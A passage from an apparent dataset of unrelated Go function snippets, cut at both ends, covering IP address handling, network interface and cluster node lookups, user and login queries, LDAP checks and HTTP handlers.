d.GetMap(&db.TableSpec{Name:intTbl.cfgDb.intfTN+\"|\"+key.Get(0)}, \"vrf_name\")\n if vrfNameA == vrfNameB {\n errStr := \"IP \" + ipPref + \" overlaps with IP \" + key.Get(1) + \" of Interface \" + key.Get(0)\n log.Error(errStr)\n return \"\", errors.New(errStr)\n }\n } else {\n //Handle IP overlap on same interface, replace\n log.Error(\"Entry \", key.Get(1), \" on \", intf, \" needs to be deleted\")\n errStr := \"IP overlap on same interface with IP \" + key.Get(1)\n return key.Get(1), errors.New(errStr)\n }\n }\n }\n }\n return \"\", nil\n}", "func InternalIpDiffSuppress(_, old, new string, _ *schema.ResourceData) bool {\n\treturn (net.ParseIP(old) != nil) && (net.ParseIP(new) == nil)\n}", "func evaluateIPAddress(req *http.Request) (*ipAddress, error) {\n\tresult := ipAddress{}\n\tip, _, err := net.SplitHostPort(req.RemoteAddr)\n\tif err != nil {\n\t\treturn &result, fmt.Errorf(\"The user IP: %q is not IP:port\", req.RemoteAddr)\n\t}\n\n\t// If the client is behind a non-anonymous proxy, the IP address is in the X-Forwarded-For header.\n\t// req.Header.Get is case-insensitive.\n\tresult.IPAddressV4 = req.Header.Get(\"X-Forwarded-For\")\n\tif result.IPAddressV4 == \"\" {\n\t\t// If no header can be read, directly extract the address for the request.\n\t\tuserIP := net.ParseIP(ip)\n\t\tif userIP == nil {\n\t\t\treturn &result, fmt.Errorf(\"The user IP: %q is not IP:port\", req.RemoteAddr)\n\t\t}\n\t\tresult.IPAddressV4 = userIP.String()\n\t\tresult.Source = \"Remote address\"\n\t} else {\n\t\tresult.Source = \"X-Forwarded-For\"\n\t}\n\treturn &result, nil\n}", "func getAllCheckins(userName string, client *untappd.Client) []*untappd.Checkin {\n\tlog.Printf(\"Getting checkins for %s\", userName)\n\n\tnCheckins := 50\n\tmaxId := math.MaxInt32\n\tallCheckins := make([]*untappd.Checkin, 0)\n\n\tb := &backoff.Backoff{\n\t\tMin: 60 * time.Second,\n\t\tMax: 30 * time.Minute,\n\t\tFactor: 2,\n\t\tJitter: true,\n\t}\n\n\tfor {\n\t\tif len(allCheckins) >= CheckinApiLimit {\n\t\t\tlog.Printf(\"Api limit reached for %s.\", userName)\n\t\t\treturn allCheckins\n\t\t}\n\n\t\t// The untappd api only allows you to get the lastest 300 checkins\n\t\t// for other users (for non-obvious reasons).\n\t\tlimit := min(CheckinApiLimit-len(allCheckins), nCheckins)\n\t\tlog.Printf(\"Getting %d checkins %d through %d. Number of checkins: %d\", limit, 0, maxId, len(allCheckins))\n\t\tcheckins, _, err := client.User.CheckinsMinMaxIDLimit(userName, 0, maxId, limit)\n\t\tif err != nil {\n\t\t\td := b.Duration()\n\t\t\tlog.Printf(\"%s, retrying in %s\", err, d)\n\t\t\ttime.Sleep(d)\n\t\t\tcontinue\n\t\t}\n\n\t\t//connected\n\t\tb.Reset()\n\n\t\tlog.Printf(\"Got %d checkins (%s, %d)\", len(checkins), userName, maxId)\n\t\tif len(checkins) == 0 {\n\t\t\treturn allCheckins\n\t\t}\n\n\t\tallCheckins = append(allCheckins, checkins...)\n\t\tmaxId = checkins[len(checkins)-1].ID\n\t}\n}", "func canLogin(usr string) string {\n\t//find the last time they logged in\n\tquery := QUERY_GET_LAST_LOGIN\n\trows := QueryDB(query, Hash1(usr))\n\tret := LOGIN_INVALID\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tlast int64\n\t\t)\n\t\terr = rows.Scan(&last)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Error accessing rows (my_server.go: canLogin\")\n\t\t\tfmt.Println(err)\n\t\t\treturn LOGIN_INVALID\n\t\t}\n\t\tdiff := time.Now().Unix() - last\n\t\tif diff <= LOGIN_RATE {\n\t\t\tret = LOGIN_TIME\n\t\t}\n\t}\n\treturn ret\n}", "func filterIPs(addrs []net.Addr) string {\n\tvar ipAddr string\n\tfor _, addr := range addrs {\n\t\tif v, ok := addr.(*net.IPNet); ok {\n\t\t\tif ip := v.IP.To4(); ip != nil {\n\t\t\t\tipAddr = v.IP.String()\n\t\t\t\tif !strings.HasPrefix(ipAddr, `169.254.`) {\n\t\t\t\t\treturn ipAddr\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn ipAddr\n}", "func IOCounters(bool) ([]net.IOCountersStat, error) { return getifaddrs() }", "func findInResetPassPool(userResetpass ResetPasswordData) (int, bool) { //check if User found in userobj list\n\tvar errorfound bool\n\tvar index int\n\tindex = -1\n\tfor i, U := range resetPassReq {\n\n\t\tif U.Email == userResetpass.Email && userResetpass.Email != \"\" && U.Code == userResetpass.Code {\n\t\t\terrorfound = true\n\t\t\tindex = i\n\t\t\tbreak\n\t\t}\n\t\tif U.Phonnum == userResetpass.Phonnum && userResetpass.Phonnum != \"\" && U.Code == userResetpass.Code {\n\t\t\terrorfound = true\n\t\t\tindex = i\n\t\t\tbreak\n\t\t}\n\t\terrorfound = false\n\t}\n\treturn index, errorfound\n}", "func getClusterNodeIPs(clientset client.Interface) ([]string, error) {\n\tpreferredAddressTypes := []v1.NodeAddressType{\n\t\tv1.NodeExternalIP,\n\t\tv1.NodeInternalIP,\n\t}\n\tnodeList, err := clientset.CoreV1().Nodes().List(metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnodeAddresses := []string{}\n\tfor _, node := range nodeList.Items {\n\tOuterLoop:\n\t\tfor _, addressType := range preferredAddressTypes {\n\t\t\tfor _, address := range node.Status.Addresses {\n\t\t\t\tif address.Type == addressType {\n\t\t\t\t\tnodeAddresses = append(nodeAddresses, address.Address)\n\t\t\t\t\tbreak OuterLoop\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nodeAddresses, nil\n}", "func GetNFSClientIP(allowedNetworks []string) (string, error) {\n\tvar nodeIP string\n\tlog := utils.GetLogger()\n\taddrs, err := net.InterfaceAddrs()\n\tif err != nil {\n\t\tlog.Errorf(\"Encountered error while fetching system IP addresses: %+v\\n\", err.Error())\n\t\treturn \"\", err\n\t}\n\n\t// Populate map to optimize the algorithm for O(n)\n\tnetworks := make(map[string]bool)\n\tfor _, cnet := range allowedNetworks {\n\t\tnetworks[cnet] = false\n\t}\n\n\tfor _, a := range addrs {\n\t\tswitch v := a.(type) {\n\t\tcase *net.IPNet:\n\t\t\tif v.IP.To4() != nil {\n\t\t\t\tip, cnet, err := net.ParseCIDR(a.String())\n\t\t\t\tlog.Debugf(\"IP address: %s and Network: %s\", ip, cnet)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Errorf(\"Encountered error while parsing IP address %v\", a)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif _, ok := networks[cnet.String()]; ok {\n\t\t\t\t\tlog.Infof(\"Found IP address: %s\", ip)\n\t\t\t\t\tnodeIP = ip.String()\n\t\t\t\t\treturn nodeIP, nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// If a valid IP address matching allowedNetworks is not found return error\n\tif nodeIP == \"\" {\n\t\treturn \"\", errors.New(fmt.Sprintf(\"No valid IP address found matching against allowedNetworks %v\", allowedNetworks))\n\t}\n\n\treturn nodeIP, nil\n}", "func (c *Client) ListPodIdentityExceptions(ns string) (*[]aadpodid.AzurePodIdentityException, error) {\n\tbegin := time.Now()\n\n\tvar resList []aadpodid.AzurePodIdentityException\n\n\tlist := c.PodIdentityExceptionInformer.GetStore().List()\n\tfor _, binding := range list {\n\t\to, ok := binding.(*aadpodv1.AzurePodIdentityException)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"failed to cast %T to %s\", binding, aadpodid.AzurePodIdentityExceptionResource)\n\t\t}\n\t\tif o.Namespace == ns {\n\t\t\t// Note: List items returned from cache have empty Kind and API version..\n\t\t\t// Work around this issue since we need that for event recording to work.\n\t\t\to.SetGroupVersionKind(schema.GroupVersionKind{\n\t\t\t\tGroup: aadpodv1.SchemeGroupVersion.Group,\n\t\t\t\tVersion: aadpodv1.SchemeGroupVersion.Version,\n\t\t\t\tKind: reflect.TypeOf(*o).String()})\n\t\t\tout := aadpodv1.ConvertV1PodIdentityExceptionToInternalPodIdentityException(*o)\n\n\t\t\tresList = append(resList, out)\n\t\t\tklog.V(6).Infof(\"appending exception: %s/%s to list.\", o.Namespace, o.Name)\n\t\t}\n\t}\n\n\tstats.Aggregate(stats.AzurePodIdentityExceptionList, time.Since(begin))\n\treturn &resList, nil\n}", "func (client *AWSClient) GetPrivateIPsOfInstancesOfAutoscalingGroup(name string) ([]string, error) {\n\tgroup, exists, err := client.getAutoscalingGroup(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"autoscaling group %v doesn't exists\", name)\n\t}\n\n\tinstances, err := client.getInstancesOfAutoscalingGroup(group)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar result []string\n\tfor _, ins := range instances {\n\t\tif len(ins.NetworkInterfaces) > 0 && ins.NetworkInterfaces[0].PrivateIpAddress != nil {\n\t\t\tresult = append(result, *ins.NetworkInterfaces[0].PrivateIpAddress)\n\t\t}\n\t}\n\n\treturn result, nil\n}", "func GetLoginList(rawData *PopulatingDataRaw) []string {\n\n\tvar loginList []string\n\n\trepositoryOwner := rawData.RepositoryOwner\n\n\ttopFollowingSlice := repositoryOwner.Following.Edges\n\ttopFollowersSlice := repositoryOwner.Followers.Edges\n\n\t//loop through top-level following users\n\tfor _, edge := range topFollowingSlice {\n\n\t\tuser := edge.Node\n\t\tlogin := user.Login\n\n\t\tloginList = append(loginList, login)\n\n\t\tbottomFollowingSlice := user.Following.Edges\n\t\tbottomFollowersSlice := user.Followers.Edges\n\n\t\tfor _, edge := range bottomFollowingSlice {\n\n\t\t\tuser := edge.Node\n\t\t\tlogin := user.Login\n\n\t\t\tloginList = append(loginList, login)\n\n\t\t}\n\n\t\tfor _, edge := range bottomFollowersSlice {\n\n\t\t\tuser := edge.Node\n\t\t\tlogin := user.Login\n\n\t\t\tloginList = append(loginList, login)\n\n\t\t}\n\t}\n\n\t//loop through top-level followers\n\tfor _, edge := range topFollowersSlice {\n\n\t\tuser := edge.Node\n\t\tlogin := user.Login\n\n\t\tloginList = append(loginList, login)\n\n\t\tbottomFollowingSlice := user.Following.Edges\n\t\tbottomFollowersSlice := user.Followers.Edges\n\n\t\tfor _, edge := range bottomFollowingSlice {\n\n\t\t\tuser := edge.Node\n\t\t\tlogin := user.Login\n\n\t\t\tloginList = append(loginList, login)\n\n\t\t}\n\n\t\tfor _, edge := range bottomFollowersSlice {\n\n\t\t\tuser := edge.Node\n\t\t\tlogin := user.Login\n\n\t\t\tloginList = append(loginList, login)\n\n\t\t}\n\t}\n\n\t//loop through list and remove duplicates\n\tuniqueList := util.RemoveDuplicates(loginList)\n\n\treturn uniqueList\n\n}", "func GetIPs(userID string) ([]IP, error) {\n\tvar result []IP\n\trows, err := db.Query(\"SELECT * FROM web_ips WHERE user_id = ?\", userID)\n\tif err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\treturn result, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tnextIP := IP{}\n\t\terr = rows.Scan(&nextIP.UserID, &nextIP.IP, &nextIP.LastUsed)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresult = append(result, nextIP)\n\t}\n\terr = rows.Err()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn result, nil\n}", "func (s *serfNet) MembersIP() (addr []net.IP) {\n\n\tmembers := s._serf.Members()\n\tfor i := 0; i < len(members); i++ {\n\t\t//fmt.Println(\"localMember \", []byte(s.serf.LocalMember().Name), \"members[i].Name \", []byte(members[i].Name), \" status \", members[i].Status, \" addr \", members[i].Addr)\n\t\tif members[i].Name != s._serf.LocalMember().Name {\n\t\t\taddr = append(addr, members[i].Addr)\n\t\t}\n\t}\n\treturn\n}", "func (u *Util) GetExpiredPins() ([]models.Upload, error) {\n\tuploads := []models.Upload{}\n\tcurrentDate := time.Now()\n\tif err := u.UP.DB.Model(&models.Upload{}).Where(\n\t\t\"garbage_collect_date < ?\", currentDate,\n\t).Find(&uploads).Error; err != nil {\n\t\treturn nil, err\n\t}\n\tif len(uploads) == 0 {\n\t\treturn nil, errors.New(\"no expired pins\")\n\t}\n\treturn uploads, nil\n}", "func IPAddressNotIn(vs ...string) predicate.GameServer {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.GameServer(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldIPAddress), v...))\n\t})\n}", "func SuperrewardsAuthRequired(whitelistIPs string) gin.HandlerFunc {\n\tips := make(map[string]struct{})\n\tfor _, v := range strings.Split(whitelistIPs, \",\") {\n\t\tips[v] = struct{}{}\n\t}\n\n\treturn func(c *gin.Context) {\n\t\tif _, ok := ips[c.ClientIP()]; !ok {\n\t\t\tc.AbortWithStatus(http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\tc.Next()\n\t}\n}", "func doGetIntfIpKeys(d *db.DB, tblName string, intfName string) ([]db.Key, error) {\n ipKeys, err := d.GetKeys(&db.TableSpec{Name: tblName+\"|\"+intfName})\n log.Info(\"doGetIntfIpKeys for interface: \", intfName, \" - \", ipKeys)\n return ipKeys, err\n}", "func validateMultiIPForDonorIntf(d *db.DB, ifName *string) bool {\n\n\ttables := [2]string{\"INTERFACE\", \"PORTCHANNEL_INTERFACE\"}\n\tdonor_intf := false\n\tlog.Info(\"validateMultiIPForDonorIntf : intfName\", ifName)\n\tfor _, table := range tables {\n\t\tintfTble, err := d.GetTable(&db.TableSpec{Name:table})\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tintfKeys, err := intfTble.GetKeys()\n\t\tfor _, intfName := range intfKeys {\n\t\t\tintfEntry, err := d.GetEntry(&db.TableSpec{Name: table}, intfName)\n\t\t\tif(err != nil) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tunnumbered, ok := intfEntry.Field[\"unnumbered\"]\n\t\t\tif ok {\n\t\t\t\tif unnumbered == *ifName {\n\t\t\t\t\tdonor_intf = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif donor_intf {\n\t\tloIntfTble, err := d.GetTable(&db.TableSpec{Name:\"LOOPBACK_INTERFACE\"})\n\t\tif err != nil {\n\t\t\tlog.Info(\"Table read error : return false\")\n\t\t\treturn false\n\t\t}\n\n\t\tloIntfKeys, err := loIntfTble.GetKeys()\n\t\tfor _, loIntfName := range loIntfKeys {\n\t\t\tif len(loIntfName.Comp) > 1 && strings.Contains(loIntfName.Comp[0], *ifName){\n\t\t\t\tif strings.Contains(loIntfName.Comp[1], \".\") {\n\t\t\t\t\tlog.Info(\"Multi IP exists\")\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\treturn false\n}", "func (aee *ActiveEndpointsError) Forbidden() {}", "func GetUsers(c *gin.Context) {\n\tdb := dbConn()\n\tselDB, err := db.Query(\"CALL read_users()\")\n\tif err != nil {\n\t\tpanic(err.Error)\n\t}\n\n\tuser := User{}\n\tusers := []User{}\n\tfor selDB.Next() {\n\t\tvar id, username, useremail, fname, lname, password, passwordchange, passwordexpired, lastlogon, accountlocked string\n\t\terr = selDB.Scan(&id, &username, &useremail, &fname, &lname, &password, &passwordchange, &passwordexpired, &lastlogon, &accountlocked)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tc.JSON(500, gin.H{\n\t\t\t\t\"error\": err.Error(),\n\t\t\t})\n\t\t}\n\t\tuser.ID = id\n\t\tuser.UserName = username\n\t\tuser.UserEmail = useremail\n\t\tuser.FName = fname\n\t\tuser.LName = lname\n\t\tuser.Password = password\n\t\tuser.PasswordChange = passwordchange\n\t\tuser.PasswordExpired = passwordexpired\n\t\tuser.LastLogon = lastlogon\n\t\tuser.AccountLocked = accountlocked\n\t\tiid, err := strconv.Atoi(id)\n\t\tif err != nil {\n\t\t\tpanic(err.Error)\n\t\t}\n\t\tselDB02, err := db.Query(\"CALL read_access_userid(?)\", iid)\n\t\tif err != nil {\n\t\t\tpanic(err.Error)\n\t\t}\n\t\taccess := Access{}\n\t\taccessList := []Access{}\n\t\tfor selDB02.Next() {\n\t\t\tvar accessid, userid, courtid, caseaccess, personaccess, accountingaccess, juryaccess, attorneyaccess, configaccess, securitylevel, sealedcase string\n\t\t\terr := selDB02.Scan(&accessid, &userid, &courtid, &caseaccess, &personaccess, &accountingaccess, &juryaccess, &attorneyaccess, &configaccess, &securitylevel, &sealedcase)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\tc.JSON(500, gin.H{\n\t\t\t\t\t\"error\": err.Error(),\n\t\t\t\t})\n\t\t\t}\n\t\t\taccess.AccessID = accessid\n\t\t\taccess.IDUser = userid\n\t\t\taccess.IDCourt = courtid\n\t\t\taccess.CaseAccess = caseaccess\n\t\t\taccess.PersonAccess = personaccess\n\t\t\taccess.AccountingAccess = accountingaccess\n\t\t\taccess.JuryAccess = juryaccess\n\t\t\taccess.AttorneyAccess = attorneyaccess\n\t\t\taccess.ConfigAccess = configaccess\n\t\t\taccess.SecurityLevel = securitylevel\n\t\t\taccess.SealedCase = sealedcase\n\t\t\taccessList = append(accessList, access)\n\t\t}\n\t\tuser.AccessList = accessList\n\t\tusers = append(users, user)\n\t}\n\n\tc.JSON(200, gin.H{\n\t\t\"result\": users,\n\t})\n\n\tdefer db.Close()\n}", "func parseIPAddressInPxctlServiceKvdbMembers(kvdbMembersOutput string) ([]string, error) {\n\tkvdbMemberIPs := []string{}\n\tfor _, line := range strings.Split(kvdbMembersOutput, \"\\n\") {\n\t\tif strings.Contains(line, \"http\") {\n\t\t\tcols := strings.Fields(strings.TrimSpace(line))\n\t\t\tif len(cols) >= 2 {\n\t\t\t\t// Parse out <ip>:<port> from URL \"http(s)://<ip>:<port>\" in the line\n\t\t\t\tendPt := kvdbEndPtsRgx.FindSubmatch([]byte(strings.Trim(cols[2], \"[]\")))\n\t\t\t\tip, _, err := net.SplitHostPort(string(bytes.TrimSpace(endPt[1])))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn kvdbMemberIPs, fmt.Errorf(\"Member parse error %v\", err)\n\t\t\t\t}\n\t\t\t\tkvdbMemberIPs = append(kvdbMemberIPs, ip)\n\t\t\t}\n\t\t}\n\t}\n\treturn kvdbMemberIPs, nil\n}", "func GetReviewees(db *sql.DB, email string, cycle string) ([]UserInfoLite, error) {\n\tvar uil []UserInfoLite\n\tq := `\n SELECT name,\n email\n FROM users\n JOIN user_teams\n ON users.id = user_teams.user_id\n WHERE team_id = (SELECT team_id\n FROM user_teams\n JOIN users\n ON user_teams.user_id=users.id\n WHERE users.email = ?\n )\n\t\t\t AND email <> ?\n\t`\n\n\trows, err := db.Query(q, email, email)\n\tif err != nil {\n\t\treturn uil, errors.Wrap(err, \"unable to query for team mates in GetReviewees\")\n\t}\n\tfor rows.Next() {\n\t\tvar name, email string\n\t\tif err = rows.Scan(&name, &email); err != nil {\n\t\t\treturn uil, errors.Wrap(err, \"unable to scan for team mates in GetReviewees\")\n\t\t}\n\t\tuil = append(uil, UserInfoLite{Name: name, Email: email})\n\t}\n\tif rows.Err() != nil {\n\t\treturn uil, errors.Wrap(err, \"error post scan q1 in GetReviewees\")\n\t}\n\n\tq = `\n SELECT users.name,\n users.email\n FROM users\n JOIN review_requests\n ON reviewer_id = users.id\n JOIN review_cycles\n ON review_requests.cycle_id = review_cycles.id\n WHERE review_requests.recipient_id = (SELECT id\n FROM users\n WHERE email =?\n )\n AND review_cycles.name =?;\n `\n\trows, err = db.Query(q, email, cycle)\n\tif err != nil {\n\t\treturn uil, errors.Wrap(err, \"unable to query for reviewers in GetReviewees\")\n\t}\n\n\tfor rows.Next() {\n\t\tvar name, email string\n\t\tif err = rows.Scan(&name, &email); err != nil {\n\t\t\treturn uil, errors.Wrap(err, \"unable to scan for reviewers in GetReviewees\")\n\t\t}\n\t\tuil = append(uil, UserInfoLite{Name: name, Email: email})\n\t}\n\tif rows.Err() != nil {\n\t\treturn uil, errors.Wrap(err, \"error post scan q2 in GetReviewees\")\n\t}\n\n\treturn uil, nil\n}", "func (cluster *HttpCluster) NonActive() []string {\n\tcluster.RLock()\n\tdefer cluster.RUnlock()\n\tmember := cluster.active\n\tlist := make([]string, 0)\n\tfor i := 0; i < cluster.size; i++ {\n\t\tif member.status == MEMBER_UNAVAILABLE {\n\t\t\tlist = append(list, member.hostname)\n\t\t}\n\t}\n\treturn list\n}", "func UserErrNotAllowedToListUsers(props ...*userActionProps) *userError {\n\tvar e = &userError{\n\t\ttimestamp: time.Now(),\n\t\tresource: \"system:user\",\n\t\terror: \"notAllowedToListUsers\",\n\t\taction: \"error\",\n\t\tmessage: \"not allowed to list users\",\n\t\tlog: \"failed to list user; insufficient permissions\",\n\t\tseverity: actionlog.Alert,\n\t\tprops: func() *userActionProps {\n\t\t\tif len(props) > 0 {\n\t\t\t\treturn props[0]\n\t\t\t}\n\t\t\treturn nil\n\t\t}(),\n\t}\n\n\tif len(props) > 0 {\n\t\te.props = props[0]\n\t}\n\n\treturn e\n\n}", "func getNodePrivateAddress(node *corev1.Node) string {\n\tfor _, addr := range node.Status.Addresses {\n\t\tif addr.Type == \"InternalIP\" {\n\t\t\treturn addr.Address\n\t\t}\n\t}\n\treturn \"\"\n}", "func (serv Service) getUsersOnline() string {\n\tvar usersList string\n\tvar userNum int\n\tfor m := range serv.UsersList {\n\t\tuserNum++\n\t\tif userNum == 1 {\n\t\t\tusersList = m\n\t\t} else {\n\t\t\tstr := fmt.Sprintf(\"%s\\n%s\", usersList, m)\n\t\t\tusersList = str\n\t\t}\n\t}\n\tresponse := fmt.Sprintf(\"Users online: %d\\n%s\\n\", userNum, usersList)\n\treturn response\n}", "func PrivateNetworkInterfaces(logger log.Logger) []string {\n\tints, err := net.Interfaces()\n\tif err != nil {\n\t\tlevel.Warn(logger).Log(\"msg\", \"error getting network interfaces\", \"err\", err)\n\t}\n\treturn privateNetworkInterfaces(ints, []string{}, logger)\n}", "func CheckIp(ip string) int {\n return 0\n\n}", "func GetRequestIPs(r *http.Request) string {\n\tip, _, err := net.SplitHostPort(r.RemoteAddr)\n\tif err != nil {\n\t\tip = r.RemoteAddr\n\t}\n\tips := []string{ip}\n\txfr := r.Header.Get(\"X-Forwarded-For\")\n\tif xfr != \"\" {\n\t\tips = append(ips, xfr)\n\t}\n\txri := r.Header.Get(\"X-Real-Ip\")\n\tif xri != \"\" {\n\t\tips = append(ips, xri)\n\t}\n\treturn strings.Join(ips, \", \")\n}", "func (l *Config) GetNonEligibleUserDistNames(userDistNames []string) ([]string, error) {\n\tconn, err := l.Connect()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer conn.Close()\n\n\t// Bind to the lookup user account\n\tif err = l.lookupBind(conn); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Evaluate the filter again with generic wildcard instead of specific values\n\tfilter := strings.ReplaceAll(l.UserDNSearchFilter, \"%s\", \"*\")\n\n\tnonExistentUsers := []string{}\n\tfor _, dn := range userDistNames {\n\t\tsearchRequest := ldap.NewSearchRequest(\n\t\t\tdn,\n\t\t\tldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false,\n\t\t\tfilter,\n\t\t\t[]string{}, // only need DN, so pass no attributes here\n\t\t\tnil,\n\t\t)\n\n\t\tsearchResult, err := conn.Search(searchRequest)\n\t\tif err != nil {\n\t\t\t// Object does not exist error?\n\t\t\tif ldap.IsErrorWithCode(err, 32) {\n\t\t\t\tnonExistentUsers = append(nonExistentUsers, dn)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\t\tif len(searchResult.Entries) == 0 {\n\t\t\t// DN was not found - this means this user account is\n\t\t\t// expired.\n\t\t\tnonExistentUsers = append(nonExistentUsers, dn)\n\t\t}\n\t}\n\treturn nonExistentUsers, nil\n}", "func getIPAddress() string {\n\tvar validIP = false\n\tvar ip string\n\tfor validIP == false {\n\t\tfmt.Scanln(&ip)\n\t\tif len(ip) < 6 || !pattern.MatchString(ip) {\n\t\t\tfmt.Print(\"Enter a valid address: \")\n\t\t} else {\n\t\t\tvalidIP = true\n\t\t}\n\t}\n\treturn ip\n}", "func TestGetUnsolvedProblemsValidUserid(t *testing.T) {\n\tts := initAPITestServer(t)\n\tdefer test.CloseServer(ts)\n\n\tproblems := GetUnsolvedProblems(userID, \"star\")\n\tif len(problems) != nUnsolvedProblems {\n\t\tt.Fatalf(\"Expected %d problems to solve, got %d\", nUnsolvedProblems, len(problems))\n\t}\n}", "func (l *LogOut) Validate() []string {\n\terrSlice := []string{}\n\n\tif l.Imei == \"\" {\n\t\terrSlice = append(errSlice, \"imei\")\n\t}\n\n\treturn errSlice\n}", "func GetExpectedNodeENIs(ctx context.Context, f *framework.Framework, internalIP string, expectedENICount int) []*ec2.NetworkInterface {\n\t// Get instance IDs\n\tfilterName := \"private-ip-address\"\n\tdescribeInstancesInput := &ec2.DescribeInstancesInput{\n\t\tFilters: []*ec2.Filter{\n\t\t\t{\n\t\t\t\tName: &filterName,\n\t\t\t\tValues: []*string{&internalIP},\n\t\t\t},\n\t\t},\n\t}\n\t// Get instances from their instance IDs\n\tinstances, err := f.Cloud.EC2().DescribeInstancesAsList(aws.BackgroundContext(), describeInstancesInput)\n\tif err != nil {\n\t\tif aerr, ok := err.(awserr.Error); ok {\n\t\t\tswitch aerr.Code() {\n\t\t\tdefault:\n\t\t\t\tlog.Debug(aerr)\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Debug(err)\n\t\t}\n\t}\n\tExpect(err).ShouldNot(HaveOccurred())\n\tExpect(len(instances)).To(Equal(1))\n\n\tBy(\"checking number of ENIs via EC2\")\n\t// Wait for ENIs to be ready\n\tfilterName = \"attachment.instance-id\"\n\tdescribeNetworkInterfacesInput := &ec2.DescribeNetworkInterfacesInput{\n\t\tFilters: []*ec2.Filter{\n\t\t\t{\n\t\t\t\tName: &filterName,\n\t\t\t\tValues: []*string{instances[0].InstanceId},\n\t\t\t},\n\t\t},\n\t}\n\n\tBy(fmt.Sprintf(\"waiting for number of ENIs via EC2 to equal %d\", expectedENICount))\n\twerr := f.Cloud.EC2().WaitForDesiredNetworkInterfaceCount(describeNetworkInterfacesInput, expectedENICount)\n\tif werr != nil {\n\t\tif aerr, ok := werr.(awserr.Error); ok {\n\t\t\tswitch aerr.Code() {\n\t\t\tcase request.WaiterResourceNotReadyErrorCode:\n\t\t\t\tlog.Debug(request.WaiterResourceNotReadyErrorCode, aerr.Error())\n\t\t\tdefault:\n\t\t\t\tlog.Debug(aerr)\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Debug(err)\n\t\t}\n\t}\n\n\tdescribeNetworkInterfacesOutput, err := f.Cloud.EC2().DescribeNetworkInterfaces(describeNetworkInterfacesInput)\n\tExpect(err).ShouldNot(HaveOccurred())\n\tif werr != nil {\n\t\tlog.Debugf(\"\")\n\t}\n\n\treturn describeNetworkInterfacesOutput.NetworkInterfaces\n}", "func (service *HTTPRestService) getAvailableIPAddresses(w http.ResponseWriter, r *http.Request) {\n\tlog.Printf(\"[Azure CNS] getAvailableIPAddresses\")\n\tlog.Request(service.Name, \"getAvailableIPAddresses\", nil)\n\n\tswitch r.Method {\n\tcase \"GET\":\n\tdefault:\n\t}\n\n\tresp := cns.Response{ReturnCode: 0}\n\tipResp := &cns.GetIPAddressesResponse{Response: resp}\n\terr := service.Listener.Encode(w, &ipResp)\n\n\tlog.Response(service.Name, ipResp, resp.ReturnCode, ReturnCodeToString(resp.ReturnCode), err)\n}", "func PublicIpv6NotIn(vs ...string) predicate.Agent {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.Agent(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldPublicIpv6), v...))\n\t})\n}", "func ViewListOtherManagers(w http.ResponseWriter, r *http.Request) { \n w.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n t, err := template.ParseFiles(\"templates/viewListOtherManagers.html\")\n\n userDetails := getSession(r)\n\n AuthorizePages(w,r)\n if err != nil {\n fmt.Println(err) // Ugly debug output\n w.WriteHeader(http.StatusInternalServerError) // Proper HTTP response\n return\n }\n \n if err != nil {\n fmt.Println(err)\n }\n var managerList []helpers.User\n var listLen int\n var failedMessage string\n var isShow bool = false\n\n managerList = dbquery.GetManagerList()\n listLen = len(managerList);\n\n var managerList1 []helpers.User\n\n for i := 0; i < listLen; i++ {\n if managerList[i].UserId != userDetails.UserId {\n managerList1 = append(managerList1, helpers.User{\n FirstName: managerList[i].FirstName,\n LastName: managerList[i].LastName,\n UserId: managerList[i].UserId,\n })\n }\n }\n if listLen == 0 {\n isShow = true\n failedMessage = \"Currently you are not assigned for any User\"\n } \n\n t.Execute(w, AllUsersResponse{Users: managerList1, ListLen: listLen, FailedMessage: failedMessage, IsShow: isShow}) \n}", "func (service *HTTPRestService) 